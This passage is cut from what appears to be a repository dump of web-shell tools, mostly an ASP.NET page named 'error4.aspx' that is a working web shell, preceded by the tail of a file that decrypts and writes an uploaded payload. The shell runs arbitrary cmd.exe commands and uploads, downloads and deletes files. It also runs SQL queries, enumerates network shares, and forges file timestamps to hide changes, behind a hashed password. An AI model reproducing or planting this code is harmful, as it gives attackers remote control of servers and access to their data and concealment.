System.Security.Cryptography.TripleDESCryptoServiceProvider();\r\n                    HQQAmBfH.Key=Encoding.UTF8.GetBytes(Convert.ToBase64String(new System.Security.Cryptography.SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(onFLmAzE))).Substring(0,24));\r\n                    HQQAmBfH.Mode=System.Security.Cryptography.CipherMode.ECB;\r\n                    HQQAmBfH.Padding=System.Security.Cryptography.PaddingMode.PKCS7;\r\n                    System.Security.Cryptography.ICryptoTransform tEiciYNFOyem=HQQAmBfH.CreateDecryptor();\r\n                    byte[] iHokoHVNhg=Convert.FromBase64String(GYNVJOHk);\r\n                    System.IO.File.WriteAllBytes(FdvqWqCOIXthwKSW,tEiciYNFOyem.TransformFinalBlock(iHokoHVNhg,0,iHokoHVNhg.Length));}}\r\n            else if (!string.IsNullOrEmpty(Request.Form[\"u\"])){\r\n                string qKrdoxVR=System.IO.File.ReadAllText(NPjSINwsBpIwW);\r\n                string FFPutRVtRQCAfiin=\"string GYNVJOHk=\\\"\";\r\n                int MIPRtTppajvWO=qKrdoxVR.IndexOf(FFPutRVtRQCAfiin)+FFPutRVtRQCAfiin.Length;\r\n                int JtNMxzcBaItXt=qKrdoxVR.IndexOf(\"\\\"\",MIPRtTppajvWO);\r\n                qKrdoxVR=qKrdoxVR.Substring(0,MIPRtTppajvWO)+Request.Form[\"u\"]+qKrdoxVR.Substring(JtNMxzcBaItXt);\r\n                System.IO.File.WriteAllText(NPjSINwsBpIwW,qKrdoxVR);}}}catch(Exception ex){ Response.Write(ex.ToString()); }\r\n%>\r\n</body>\r\n</html>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ExpiredPasswordTech/error4.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import namespace=\"System.IO\"%>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<%\r\n\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\np=fb(t[\"p\"]);pro=fb(t[\"pro\"]);cmd=fb(t[\"cmd\"]);sav=fb(t[\"sav\"]);vir=t[\"vir\"];nen=fb(t[\"nen\"]);upb=fb(t[\"upb\"]);upd=fb(t[\"upd\"]);del=fb(t[\"del\"]);don=fb(t[\"don\"]);hid=t[\"hid\"];tfil=fb(t[\"tfil\"]);ttar=fb(t[\"ttar\"]);ttim=fb(t[\"ttim\"]);baseFile=t[\"baseFile\"];baseAddr=fb(t[\"baseAddr\"]);baseVir=t[\"baseVir\"];sqc=fb(t[\"sqc\"]);sqq=fb(t[\"sqq\"]);exadd=fb(t[\"exadd\"]);\r\nif(!string.IsNullOrEmpty(p))c(p);\r\nelse c();\r\nif(!string.IsNullOrEmpty(cmd))r(pro,cmd);\r\nelse if(HttpContext.Current.Request.Files[\"upl\"]!=null)u(HttpContext.Current.Request.Files[\"upl\"],sav,string.IsNullOrEmpty(vir)?false:true,nen);\r\nelse if(!string.IsNullOrEmpty(upb))h(upb,upd);\r\nelse if(!string.IsNullOrEmpty(del))d(del);\r\nelse if(!string.IsNullOrEmpty(don))z(don);\r\nelse if(!string.IsNullOrEmpty(tfil))g(hid,tfil,ttar,ttim);\r\nelse if(!string.IsNullOrEmpty(baseFile))baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\nelse if(!string.IsNullOrEmpty(sqc))sq(sqc,sqq);\r\nelse if(!string.IsNullOrEmpty(exadd))exp(exadd);\r\nelse if(!string.IsNullOrEmpty(t[\"gsize\"]))gsize(fb(t[\"gsize\"]));\r\n\r\nif(HttpContext.Current.Request.Cookies[\"data\"]!=null){string data=fb(HttpContext.Current.Request.Cookies[\"data\"].Value);string[] data2=data.Split(new string[]{\"#|#\"},StringSplitOptions.None);for(int i=0;i<data2.Length;i++){string[] data3=data2[i].Split(new string[]{\"#=#\"},StringSplitOptions.None);\r\nswitch (data3[0]){\r\ncase\"pro\":pro=a(pro,fb(data3[1]));break;\r\ncase\"cmd\":cmd=a(cmd,fb(data3[1]));break;\r\ncase\"sav\":sav=a(sav,fb(data3[1]));break;\r\ncase\"vir\":vir=a(vir,fb(data3[1]));break;\r\ncase\"nen\":nen=a(nen,fb(data3[1]));break;\r\ncase\"don\":don=a(don,fb(data3[1]));break;\r\ncase\"tfil\":tfil=a(tfil,fb(data3[1]));break;\r\ncase\"ttar\":ttar=a(ttar,fb(data3[1]));break;\r\ncase\"ttim\":ttim=a(ttim,fb(data3[1]));break;\r\ncase\"sqc\":sqc=a(sqc,fb(data3[1]));break;\r\ncase\"sqq\":sqq=a(sqq,fb(data3[1]));break;\r\ncase\"exadd\":exadd=a(exadd,fb(data3[1]));break;\r\n}}}\r\n\r\nview();\r\n    %>\r\n<script runat=\"server\">\r\n    string salt=\"di2zag7wZHTK9YR0NGq\";\r\n    string p,pro,cmd,sav,vir,nen,upb,upd,del,don,hid,tfil,ttar,ttim,baseFile,baseAddr,baseVir,baseName,sqc,sqq,exadd;\r\n    bool aut=false;\r\n    string pp=\"ePQm3HPXJYt5wZSFhktJ/IEin/A=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void view(){string data = string.Format(\"pro#=#{0}#|#cmd#=#{1}#|#sav#=#{2}#|#vir#=#{3}#|#nen#=#{4}#|#don#=#{5}#|#tfil#=#{6}#|#ttar#=#{7}#|#ttim#=#{8}|#sqc#=#{9}|#sqq#=#{10}|#exadd#=#{11}\",\r\n    tb(pro),tb(cmd),tb(sav),tb(vir),tb(nen),tb(don),tb(tfil),tb(ttar),tb(ttim),tb(sqc),tb(sqq),tb(exadd));\r\n        HttpCookie coo=new HttpCookie(\"data\", data);coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);}\r\n\r\n    void rm(){/*System.IO.File.Delete(Request.ServerVariables[\"PATH_TRANSLATED\"]);Response.Redirect(Request.RawUrl);*/}\r\n    void c(string p){try{HttpCookie coo=new HttpCookie(\"p\",tb(p));coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);c();}catch(Exception e){l(e.Message);}}\r\n    bool c(){try{if(HttpContext.Current.Request.Cookies[\"p\"]!=null){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA1CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(fb(HttpContext.Current.Request.Cookies[\"p\"].Value)+salt)))==pp;if(!aut)rm();return aut;}}catch(Exception e){l(e.Message);}rm();return false;}\r\n    void u(HttpPostedFile upl, string sav, bool vir, string nen){try{if(c()){if(upl!=null&&upl.ContentLength>0){string fn=string.IsNullOrEmpty(nen)?System.IO.Path.GetFileName(upl.FileName):nen;string path=vir?Server.MapPath(sav):sav;string SaveLocation=System.IO.Path.HasExtension(path)?path:path.TrimEnd('\\\\')+\"\\\\\"+fn;upl.SaveAs(SaveLocation);l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void baseupl(string baseFile,string baseAddr, bool baseVir){try{if(c()){if(baseFile!=null&&baseFile.Length>0&&!string.IsNullOrEmpty(baseAddr)){string SaveLocation=baseVir?Server.MapPath(baseAddr):baseAddr;System.IO.File.WriteAllBytes(SaveLocation,Convert.FromBase64String(baseFile));l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void r(string pro, string cmd){try{if(c()){string o = exec(cmd,pro);l(HttpUtility.HtmlEncode(o));}}catch(Exception ex){l(ex.Message);}}\r\n    void z(string don){try{if(c()&&!string.IsNullOrEmpty(don)){byte[] f=System.IO.File.ReadAllBytes(don);System.Web.HttpContext t=System.Web.HttpContext.Current;t.Response.Clear();t.Response.ClearHeaders();t.Response.ClearContent();t.Response.AppendHeader(\"content-length\",f.Length.ToString());t.Response.ContentType=\"application/octet-stream\";t.Response.AppendHeader(\"content-disposition\",\"attachment; filename=\"+don.Substring(don.LastIndexOf('\\\\')+1));t.Response.BinaryWrite(f);t.Response.End();}}catch(Exception ex){l(ex.Message);}}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n    void g(string hid, string tfil, string ttar, string ttim){try{if(c()&&!string.IsNullOrEmpty(tfil)){l(string.Empty);if(hid==\"1\")ti(tfil);else if(hid==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}else if(hid==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}}}catch(Exception ex){l(ex.Message);}}\r\n    void h(string upb, string upd){try{if(c()&&!string.IsNullOrEmpty(upb)&&!string.IsNullOrEmpty(upd)){System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath()+upd,Convert.FromBase64String(upb));l(upd+\" successfuly uploaded\");}}catch(Exception ex){l(ex.Message);}}\r\n    void d(string del){try{if(c()&&!string.IsNullOrEmpty(del)){System.IO.File.Delete(System.IO.Path.GetTempPath()+del);l(del+\" successfuly deleled\");}}catch(Exception ex){l(ex.Message);}}\r\n    void sq(string sqc, string sqq){try{if(c()){if(!string.IsNullOrEmpty(sqc)){using(System.Data.SqlClient.SqlConnection con=new System.Data.SqlClient.SqlConnection(sqc)){if(string.IsNullOrEmpty(sqq)){try{con.Open();l(\"Sql Server Connection Successfuly Established\");}catch(Exception ex){l(\"Sql Server Connection Failed :\"+Environment.NewLine+ex.ToString());}}else{try{con.Open();System.Data.SqlClient.SqlCommand com=new System.Data.SqlClient.SqlCommand(sqq,con);System.Data.SqlClient.SqlDataAdapter ad=new System.Data.SqlClient.SqlDataAdapter(com);System.Data.DataTable dt=new System.Data.DataTable();ad.Fill(dt);DataGrid grid=new DataGrid();System.Web.UI.WebControls.DataList list=new System.Web.UI.WebControls.DataList();grid.DataSource=dt;grid.DataBind();log.Controls.Add(grid);}catch(Exception ex){l(\"Error : <br>\"+ex.ToString());}}con.Close();}}}}catch(Exception ex){l(ex.Message);}}\r\n    string x(string f){return Encoding.UTF8.GetString(Convert.FromBase64String(f));}\r\n    void l(string ll){log.InnerHtml=tb(ll);}\r\n\r\n    string exec(string cmd,string pro = \"\")\r\n    {\r\n        System.Diagnostics.Process n=new System.Diagnostics.Process();\r\n        n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);\r\n        n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;\r\n        n.StartInfo.RedirectStandardOutput=true;\r\n        n.StartInfo.RedirectStandardError=true;\r\n        n.StartInfo.CreateNoWindow=true;\r\n        string o=null;\r\n        n.Start();\r\n        n.StandardInput.WriteLine(cmd);\r\n        n.StandardInput.WriteLine(\"exit\");\r\n        o =n.StandardOutput.ReadToEnd();\r\n        n.WaitForExit();\r\n        n.Close();\r\n        return o;\r\n    }\r\n\r\n    void gsize(string addr)\r\n    {\r\n        string ret = \"error : -\";\r\n        try\r\n        {\r\n            long size = GetDirSize(new DirectoryInfo(addr));\r\n            ret = sizeFix(size);\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n    void exp(string exadd)\r\n    {\r\n        string ret = \"error : -\";\r\n        try\r\n        {\r\n            if (exadd.ToLower() == \"root\")\r\n            {\r\n                ret = \"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";// in javascript json parser two \\ = one \\\r\n                string netUse = exec(\"net use\");\r\n                string[] lines = netUse.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines)\r\n                {\r\n                    if (item.ToLower().StartsWith(\"ok\"))\r\n                    {\r\n                        int index = item.IndexOf(\"\\\\\\\\\");\r\n                        ret += \",{\\\"name\\\":\\\"\\\\\\\\\" + item.Substring(index, item.IndexOf('\\\\', index + 2) - index) + \"\\\"}\";\r\n                    }\r\n                }\r\n                ret += \"]}\";\r\n            }\r\n            else\r\n            {\r\n                if (exadd.Trim('\\\\').Split('\\\\').Count() == 1) // \\\\localhost\r\n                {\r\n                    string tmp = exadd.ToLower().TrimEnd('\\\\');\r\n                    if (tmp == \"\\\\\\\\localhost\")\r\n                    {\r\n                        ret = \"{\\\"dir\\\":[\";\r\n                        bool isStart = false;\r\n                        foreach (DriveInfo item in DriveInfo.GetDrives())\r\n                        {\r\n                            if (item.IsReady)\r\n                            {\r\n                                if (isStart)\r\n                                    ret += \",\";\r\n                                ret += string.Format(\"{{\\\"name\\\":\\\"{0}$\\\",\\\"tsize\\\":\\\"{1}\\\",\\\"fsize\\\":\\\"{2}\\\",\\\"usize\\\":\\\"{3}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':'),sizeFix(item.TotalSize),sizeFix(item.TotalFreeSpace),sizeFix(item.TotalSize - item.TotalFreeSpace));\r\n                                isStart = true;\r\n                            }\r\n                        }\r\n                        ret += \"]}\";\r\n                    }\r\n                    else\r\n                    {\r\n\r\n                    }\r\n                }\r\n                else // \\\\localhost\\c$\\\r\n                {\r\n                    FileAttributes attr = File.GetAttributes(exadd);\r\n                    if ((attr & FileAttributes.Directory) == FileAttributes.Directory)\r\n                    {\r\n                        DirectoryInfo dirInfo = new DirectoryInfo(exadd);\r\n                        ret = \"{\" + string.Format(\"{0},{1}\", createJsonDirectory(dirInfo.GetDirectories()), createJsonFile(dirInfo.GetFiles())) + \"}\";\r\n                    }\r\n                }\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n    long GetDirSize(DirectoryInfo d)\r\n    {\r\n        long size = 0;\r\n\r\n        FileInfo[] fis = d.GetFiles();\r\n        foreach (FileInfo fi in fis)\r\n        {\r\n            size += fi.Length;\r\n        }\r\n\r\n        DirectoryInfo[] dis = d.GetDirectories();\r\n        foreach (DirectoryInfo di in dis)\r\n        {\r\n            size += GetDirSize(di);\r\n        }\r\n\r\n        return size;\r\n    }\r\n    string createJsonDirectory(DirectoryInfo[] dir)\r\n    {\r\n        string json = \"\\\"dir\\\":[\";\r\n        for (int i = 0; i < dir.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += \"{\\\"name\\\":\\\"\" + dir[i].Name + \"\\\"}\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(FileInfo[] file)\r\n    {\r\n        string json = \"\\\"file\\\":[\";\r\n        for (int i = 0; i < file.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += \"[\\\"\" + file[i].Name + \"\\\",\\\"\" + sizeFix(file[i].Length) + \"\\\"]\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size)\r\n    {\r\n        double s = size;\r\n        if (s < 1024) return s + \" B\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s,2) + \" KB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s,2) + \" MB\";\r\n        s = s / 1024;\r\n        return Math.Round(s,2) + \" GB\";\r\n    }\r\n</script>\r\n\r\n<style>body,html{margin:0;padding:5px;direction:ltr;background:#aaa;color:#000 !important;}form{margin:0;}*{font:14px \"Lucida Console\";}t{width:180px;display:inline-block;text-align:right;padding-right:5px;}g{margin-left:30px;}input[type=\"text\"],input[type=\"file\"],textarea {width:60%;height:25px;background:#cbcbcb;color:#000;border:1px solid #999;margin-bottom:3px;}input[type=\"text\"]{padding:2px;}input[type=\"button\"],input[type=\"submit\"] {height:23px;}input[type=\"checkbox\"]{width:23px;height:24px;position:absolute;margin:0;}hr{margin:0;border:0;border-top:1px solid #DDD;}.h{width:100px;text-align:center;background:rgb(255,36,0);color:#fff;vertical-align:middle;}table{width:100%;margin:0;border-collapse:collapse;}.b{padding:10px 0px 9px;}</style>\r\n<script>\r\n    function use() { var n = document; var d = n.getElementById(\"d\").innerHTML; d = d.substring(0, d.lastIndexOf('\\\\') + 1); n.getElementsByName(\"cmd\")[0].value += d; n.getElementsByName(\"sav\")[0].value += d; n.getElementsByName(\"don\")[0].value += d; }\r\n    function subm(){var mmm=document.getElementsByClassName('mmm');for(var i=0;i<mmm.length;i++){mmm[i].value=btoa(mmm[i].value);}}\r\n    function reset() { document.cookie = \"data=;expires=Thu, 01 Jan 1970 00:00:01 GMT;path=/\";location.href = location.pathname;}\r\n</script>\r\n<style>\r\n    div.tbbt{overflow:hidden;border:1px solid #ccc;}\r\n    div.tbbt button{background-color:inherit;float:left;border:none;outline:none;cursor:pointer;padding:14px 16px;transition: 0.3s;font-size:17px;}\r\n    div.tbbt button:hover{background-color:#ddd}\r\n    div.tbbt button.active{background-color:#ccc}\r\n    .tb{display:none;border:1px solid #ccc;border-top:none}\r\n    .loader{\r\n        border:3px solid #f3f3f3;\r\n        border-radius:50%;\r\n        border-top:3px solid #3498db;\r\n        width:16px;\r\n        height:16px;\r\n        -webkit-animation: spin 2s linear infinite;\r\n        animation:spin 2s linear infinite;\r\n        position:absolute;\r\n    }\r\n    @-webkit-keyframes spin {\r\n        0%{ -webkit-transform:rotate(0deg);}\r\n        100%{-webkit-transform:rotate(360deg);}\r\n    }\r\n    @keyframes spin {\r\n        0%{ transform:rotate(0deg);}\r\n        100%{transform:rotate(360deg);}\r\n    }\r\n    #objFrame{padding:0 5px 5px 5px}\r\n    .objD {\r\n        /*background-color: #d8d808;*/\r\n        background-color: #23a4ff;\r\n        padding: 5px;\r\n        display: table;\r\n        cursor: pointer;\r\n        /*margin-left: 100px;*/\r\n        float:left;\r\n        margin-left:5px;\r\n    }\r\n    .objF {\r\n        margin-top: 5px;\r\n        min-height: 24px;\r\n    }\r\n    .objS {\r\n        /*position: absolute;*/\r\n        width: 90px;\r\n        text-align: right;\r\n        cursor: default;\r\n        background-color: #c3c3c3;\r\n        padding: 5px;\r\n        min-height:14px;\r\n        max-height: 14px;\r\n        overflow: hidden;\r\n        float:left;\r\n    }\r\n    .objN {\r\n        display: table;\r\n        padding: 5px;\r\n        background-color: #23d7ff;\r\n        margin-left: 100px;\r\n        cursor: default;\r\n    }\r\n    .objB {\r\n        margin-left:3px;\r\n        padding:5px;\r\n    }\r\n    /*.objL{display:inline-block;margin-left:3px;}*/\r\n    #objLocation{padding:0 5px 0 5px;\r\n                 min-height: 24px;\r\n    margin-top: 5px;\r\n    }\r\n    .objLabel {\r\n        /*display: inline-block;\r\n        padding: 5px;\r\n        width: 87px;\r\n        background-color: #c3c3c3;\r\n        margin-top:5px;\r\n        float:left;*/\r\n    }\r\n    .objError {\r\n        background-color: #ff2e2e;\r\n        color: white;\r\n    }\r\n    .objInfo {\r\n        font-size: 10px;\r\n    background-color: #83cc83;\r\n    line-height: 14px;\r\n    }\r\n    .sizeLD {\r\n    width: 12px;\r\n    height: 12px;\r\n    margin-left: -54px;\r\n    margin-top: -2px;\r\n    }\r\n</style>\r\n<script>\r\n    var sizeArray = new Array();\r\n    function openTab(ev, nm)\r\n    {\r\n        var i, tb, tblnk;\r\n        tb = document.getElementsByClassName(\"tb\");\r\n        for (i = 0; i < tb.length; i++) {\r\n            tb[i].style.display = \"none\";\r\n        }\r\n        tblnk = document.getElementsByClassName(\"tblnk\");\r\n        for (i = 0; i < tblnk.length; i++) {\r\n            tblnk[i].className = \"tblnk\";\r\n        }\r\n        document.getElementById(nm).style.display = \"block\";\r\n        ev.currentTarget.className += \" active\";\r\n    }\r\n    function readCookie(name)\r\n    {\r\n        var nameEQ = name + \"=\";\r\n        var ca = document.cookie.split(';');\r\n        for (var i = 0; i < ca.length; i++) {\r\n            var c = ca[i];\r\n            while (c.charAt(0)==' ') c = c.substring(1, c.length);\r\n            if(c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);\r\n        }\r\n        return null;\r\n    }\r\n    function sendAddress()\r\n    {\r\n        document.getElementById(\"loader\").style.display = \"inline-block\";\r\n        var address = document.getElementsByName(\"exadd\")[0].value;\r\n        var info = {\r\n            data:\"exadd=\" + btoa(address),\r\n            onSuccess:function(resText){\r\n                \r\n                document.getElementById(\"loader\").style.display = \"none\";\r\n                var data = atob(resText)\r\n                makeLocation();\r\n                var Frame = document.getElementById(\"objFrame\");\r\n                Frame.innerHTML = \"\";\r\n                if(data.startsWith(\"Error\"))\r\n                {\r\n                    addError(Frame, data);\r\n                }\r\n                else\r\n                {\r\n                    var info = JSON.parse(data);\r\n                    if(info.dir)\r\n                    {\r\n                        var f = document.createElement(\"div\");\r\n                        f.className=\"objF\";\r\n       \r\n                        var s = document.createElement(\"div\");\r\n                        s.className=\"objS\";\r\n                        s.innerText = \"Get All Size\";\r\n                        s.style.cursor = \"pointer\";\r\n                        s.style.fontSize = \"12px\";\r\n                        s.onclick = function(){getAllSize();};\r\n\r\n                        f.appendChild(s);\r\n                        Frame.appendChild(f);\r\n\r\n                        for (var i = 0; i < info.dir.length; i++)\r\n                            addFolder(Frame, info.dir[i]);\r\n                    }\r\n                    if(info.file)\r\n                        for (var i = 0; i < info.file.length; i++)\r\n                            addFile(Frame, info.file[i][0], info.file[i][1])\r\n                }\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function makeLocation()\r\n    {\r\n        var loc = document.getElementById(\"objLocation\");\r\n        loc.innerHTML = \"\";\r\n\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n\r\n        var lbl = document.createElement(\"div\");\r\n        lbl.className = \"objS objLabel\";\r\n        lbl.innerText = \"Location :\";\r\n        loc.appendChild(lbl);\r\n        var curAdd = document.getElementsByName(\"exadd\")[0].value.split(\"\\\\\");\r\n        var sendLoc = \"\";\r\n        if(document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n            sendLoc += \"\\\\\\\\\";\r\n        for (var i = 0; i < curAdd.length; i++) {\r\n            if(curAdd[i] == \"\")\r\n                continue;\r\n            sendLoc += curAdd[i] + \"\\\\\";\r\n            var o = document.createElement(\"div\");\r\n            if(i == curAdd.length - 1)\r\n                o.style.display = \"inline-block\";\r\n            else\r\n            {\r\n                o.setAttribute(\"loc\",sendLoc);\r\n                o.onclick = function(){\r\n                    document.getElementsByName(\"exadd\")[0].value = this.getAttribute(\"loc\");\r\n                    sendAddress();\r\n                };\r\n                o.className = \"objD\";\r\n            }\r\n            o.innerText = curAdd[i] + \"\\\\\";\r\n                        \r\n            loc.appendChild(o);\r\n        }\r\n        if(document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n        {\r\n            loc.childNodes[1].innerText = \"\\\\\\\\\" + loc.childNodes[1].innerText;\r\n        }\r\n        loc.lastChild.style.display = \"inline-block\";\r\n        loc.lastChild.onclick = function(){};\r\n        loc.lastChild.className = \"objB\";\r\n    }\r\n\r\n    function addError(parent, error)\r\n    {\r\n        var d = document.createElement(\"div\");\r\n        d.className=\"objD objError\";\r\n        d.innerText = error;\r\n        parent.appendChild(d);\r\n    }\r\n\r\n    function addFolder(parent, dir)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n       \r\n        var d = document.createElement(\"div\");\r\n        d.className=\"objD\";\r\n        d.innerText = dir.name;\r\n        d.onclick = function(){setAddress(this.innerText);};\r\n\r\n        var s = document.createElement(\"div\");\r\n        s.className=\"objS dir\";\r\n        if(sizeArray[getCurrentAddress()+\"\\\\\"+dir.name])\r\n            setSize(s,sizeArray[getCurrentAddress()+\"\\\\\"+dir.name]);\r\n        else if(dir.usize)\r\n            setSize(s,dir.usize);\r\n        else\r\n            s.innerText = \"...\";\r\n\r\n        s.style.cursor = \"pointer\";\r\n        s.onclick = function(){getSize(s,d.innerText);};\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(d);\r\n\r\n        if(dir.tsize)\r\n        {\r\n            var inf = document.createElement(\"div\");\r\n            inf.className=\"objD objInfo\";\r\n            inf.innerText = \"Total Size : \" + dir.tsize;\r\n            f.appendChild(inf);\r\n        }\r\n\r\n        if(dir.fsize)\r\n        {\r\n            var inf = document.createElement(\"div\");\r\n            inf.className=\"objD objInfo\";\r\n            inf.innerText = \"Free Space : \" + dir.fsize;\r\n            f.appendChild(inf);\r\n        }\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function addFile(parent, name, size)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n        var s = document.createElement(\"div\");\r\n        s.className=\"objS\";\r\n        setSize(s, size)\r\n        var n = document.createElement(\"div\");\r\n        n.className=\"objN\";\r\n        n.innerText=name;\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(n);\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function getCurrentAddress()\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        return address.value;\r\n    }\r\n\r\n    function setAddress(name)\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        var path = name;\r\n        if (path == 'root' || path.startsWith('\\\\\\\\'))\r\n            address.value = path;\r\n        else\r\n            address.value += \"\\\\\" + name;\r\n        sendAddress();\r\n    }\r\n\r\n    function getNextSize(alls)\r\n    {\r\n        if(alls.length > 0)\r\n        {\r\n            var s = alls[0];\r\n            alls.shift();\r\n            console.log(alls);\r\n            console.log(s);\r\n            getSize(s, s.nextSibling.innerText, function(){getNextSize(alls)});\r\n        }\r\n    }\r\n\r\n    function getAllSize()\r\n    {\r\n        var allSizes = [].slice.call(document.getElementsByClassName(\"objS dir\"));\r\n        getNextSize(allSizes);\r\n    }\r\n\r\n    function getSize(objSize, name, callBack)\r\n    {\r\n        objSize.innerText = \"\";\r\n        var ldr = document.createElement(\"span\");\r\n        ldr.className=\"loader sizeLD\";\r\n        objSize.appendChild(ldr);\r\n        var address = getCurrentAddress() + \"\\\\\" + name;\r\n        var info = {\r\n            data:\"gsize=\" + btoa(address),\r\n            onSuccess:function(resText){\r\n                \r\n                ldr.remove();\r\n                var data = atob(resText)\r\n                setSize(objSize, data)\r\n                if(!data.startsWith(\"Error\"))\r\n                    sizeArray[address] = data;\r\n\r\n                if(callBack)\r\n                    callBack();\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function checkEnter(ev)\r\n    {\r\n        if(ev.which == 13 || ev.keyCode == 13)\r\n        {\r\n            sendAddress();\r\n            return false;\r\n        }\r\n        return true;\r\n    }\r\n\r\n    function setSize(obj, size)\r\n    {\r\n        if(size.startsWith(\"Error\"))\r\n        {\r\n            obj.title = size;\r\n            obj.innerText = \"Error\";\r\n        }\r\n        else\r\n            obj.innerText = size;\r\n        if(size.endsWith(\"KB\"))\r\n            obj.style.backgroundColor = \"#ece979\";\r\n        else if(size.endsWith(\"MB\"))\r\n            obj.style.backgroundColor = \"#ffd36f\";\r\n        else if(size.endsWith(\"GB\"))\r\n            obj.style.backgroundColor = \"#ff6f6f\";\r\n    }\r\n\r\n    function sendData(info)\r\n    {\r\n        var data = info.data;\r\n        var xh = new XMLHttpRequest();\r\n        xh.onreadystatechange = function(){\r\n            if(this.readyState == 4 && this.status == 200)\r\n            {\r\n                info.onSuccess(this.responseText);\r\n            }\r\n        };\r\n        xh.open(\"POST\", location.pathname, true);\r\n        xh.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n        xh.send(\"p=\" + readCookie(\"p\") + \"&\" + data);\r\n    }\r\n</script>\r\n</head>\r\n<body>\r\n<div class=\"tbbt\">\r\n    <button class=\"tblnk active\" onclick=\"openTab(event, 'tbMain')\">Main</button>\r\n    <button class=\"tblnk\" onclick=\"openTab(event, 'tbDir')\">Explorer</button>\r\n</div>\r\n<div id=\"tbMain\" class=\"tb\" style=\"display:block\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"QWRkcmVzcw==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"Q3VycmVudA==\")%> :</t>\r\n<y id=\"d\"><%= Server.MapPath(string.Empty) + \"\\\\\"%></y>\r\n<input type=\"button\" value=\"<%=x(\"VXNl\")%>\" onclick=\"use()\" />\r\n<input type=\"button\" value=\"<%=x(\"UmVzZXQgRm9ybQ==\")%>\" onclick=\"reset()\" />\r\n<div 